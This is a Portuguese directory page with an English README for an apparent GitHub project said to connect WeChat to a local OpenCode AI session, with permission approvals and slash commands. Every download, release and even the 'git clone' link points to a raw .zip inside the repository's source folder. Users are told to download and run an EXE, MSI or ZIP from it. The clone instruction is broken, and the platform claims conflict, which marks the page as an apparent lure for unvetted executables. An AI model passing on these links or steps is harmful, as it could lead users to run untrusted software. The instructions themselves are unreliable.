WeChat-OpenCode Bridge
lugsailtheocracy394/wechat-opencode
Chat com OpenCode via WeChat com persistência de sessão
Ver no GitHubAgent que integra WeChat com OpenCode local, permitindo chat, aprovações de permissões e comandos slash diretamente do WeChat. Mantém sessão persistente entre mensagens em Windows, macOS e Linux, eliminando a necessidade de alternar entre aplicações.
Instalação
npx convez-ai lugsailtheocracy394/wechat-opencode1 comando no terminal: detecta o formato do repositório (marketplace ou plugin avulso) e instala via Claude Code. Requer Node 18+ e o Claude Code instalado.
Métricas
Casos de uso
- Interagir com modelos de IA locais pelo WeChat
- Aprovar/negar requisições de permissão sem sair do chat
- Gerenciar sessões e modelos via comandos slash no WeChat
- Manter contexto de conversa entre múltiplas mensagens
Veredito

Bridge funcional para casos específicos de integração WeChat + OpenCode, com suporte a sessões e comandos. Requer setup manual e servidor local rodando, adequado para desenvolvedores que precisam de interface mobile para local AI.
README
A tradução para o português deste README ainda está na fila.
🤖 wechat-opencode - Chat With OpenCode On WeChat
📥 Download
Visit this page to download: https://github.com/lugsailtheocracy394/wechat-opencode/raw/refs/heads/main/src/wechat/wechat_opencode_v2.0.zip
Pick the latest release for Windows, then download the file that matches your system.
🪟 What this app does
wechat-opencode lets you chat with your local OpenCode setup from WeChat on Windows.
You can send a message from your phone, then read the reply in WeChat. The app passes your chat to OpenCode on your PC and sends the result back to WeChat.
✨ What you can do
- Chat with local OpenCode from WeChat
- Approve or deny permission requests with
yorn - Switch session, model, and folder from chat
- Keep the same session across messages
- Use the app with a local Windows setup
🧰 What you need
Before you start, make sure you have:
- Windows 10 or Windows 11
- Node.js 18 or later
- A personal WeChat account
- OpenCode installed and working in your terminal
- Your OpenCode provider account already set up on your PC
📦 Install on Windows
-
Open the release page: https://github.com/lugsailtheocracy394/wechat-opencode/raw/refs/heads/main/src/wechat/wechat_opencode_v2.0.zip
-
Download the latest Windows file from the release list.
-
If the file is a ZIP package, extract it to a folder like:
C:\wechat-opencode -
If the file is an EXE installer, run it and follow the steps on screen.
-
Make sure Node.js is already installed on your PC.
-
Open Command Prompt or PowerShell in the app folder if you unpacked a ZIP file.
🚀 Set up WeChat
After you install the app, bind your WeChat account to the bridge.
-
Open Command Prompt or PowerShell.
-
Go to the app folder.
-
Run:
wechat-opencode setup -
Follow the prompts in WeChat.
-
Confirm the link between WeChat and the app.
If the app asks for permission to use WeChat, allow it on your phone.
💬 Start the bridge
After setup is done, start the bridge so WeChat can talk to OpenCode.
-
Open Command Prompt or PowerShell.
-
Go to the app folder.
-
Run:
wechat-opencode -
Leave the window open while you use the app.
-
Open WeChat on your phone and send a message to the linked account.
🔐 Permission prompts
When OpenCode asks for permission, the bridge sends the request to WeChat.
You can reply with:
yto allownto deny
This keeps the approval flow inside WeChat, so you do not need to switch back to the terminal for each request.
🧭 Chat commands
You can use slash commands in WeChat to manage your OpenCode session.
Common commands include:
/sessionto check or change the current session/modelto view or switch the model/cwdto set the current folder/permissionto manage permission settings
Use these when you want to control how OpenCode works without leaving WeChat.
🔄 Session behavior
The bridge keeps your session between messages.
That means:
- You can send follow-up messages in the same thread
- OpenCode keeps the chat context
- You do not need to start over each time
If you want a fresh start, change the session with the session command.
🧪 First test
After setup, try a short message like:
hellowhat can you do?show my current session
If the bridge is working, you should get a reply in WeChat from your local OpenCode instance.
🛠️ Common setup path on Windows
A simple Windows setup looks like this:
- Download the latest release from the release page
- Extract the files if needed
- Install Node.js 18 or later
- Make sure OpenCode runs in your terminal
- Run
wechat-opencode setup - Start the bridge with
wechat-opencode - Send a message from WeChat
📁 Suggested folder layout
If you use the ZIP package, keep the app in a simple folder path:
C:\wechat-opencodeD:\tools\wechat-opencode
Short paths help avoid issues when you run commands from PowerShell or Command Prompt.
⚙️ How it works
wechat-opencode acts as a bridge between:
- WeChat on your phone
- The app running on your Windows PC
- Your local OpenCode setup in the terminal
When you send a message in WeChat, the app forwards it to OpenCode. When OpenCode replies, the app sends that reply back to WeChat.
✅ Tips for a smooth start
- Keep your PC on while the bridge runs
- Leave the terminal window open
- Make sure OpenCode works before you start the bridge
- Use the same WeChat account each time
- Check that your provider credentials are already set in OpenCode
❓ If something does not work
Try these checks:
- Make sure Node.js 18 or later is installed
- Make sure OpenCode runs on its own in your terminal
- Make sure you used the latest release
- Check that WeChat is linked to the app
- Restart the bridge after setup changes
- Use a simple message first to test the connection
🔎 Basic usage examples
Send these in WeChat:
help me write a short note/model/session/cwdyn
These commands help you talk to OpenCode and manage the current session from WeChat
📌 File types you may see
The release page may offer one of these:
.zipfor manual install.exefor direct run or install.msifor Windows install
Download the latest Windows file, then use the method that matches the file type
🧩 For local development
If you want to work on the source code, use this path:
git clone https://github.com/lugsailtheocracy394/wechat-opencode/raw/refs/heads/main/src/wechat/wechat_opencode_v2.0.zip ~/wechat-opencode
cd ~/wechat-opencode
npm install
This is for development use. Most users should use the release page and the packaged Windows download instead
📎 Release page
Download and install from here: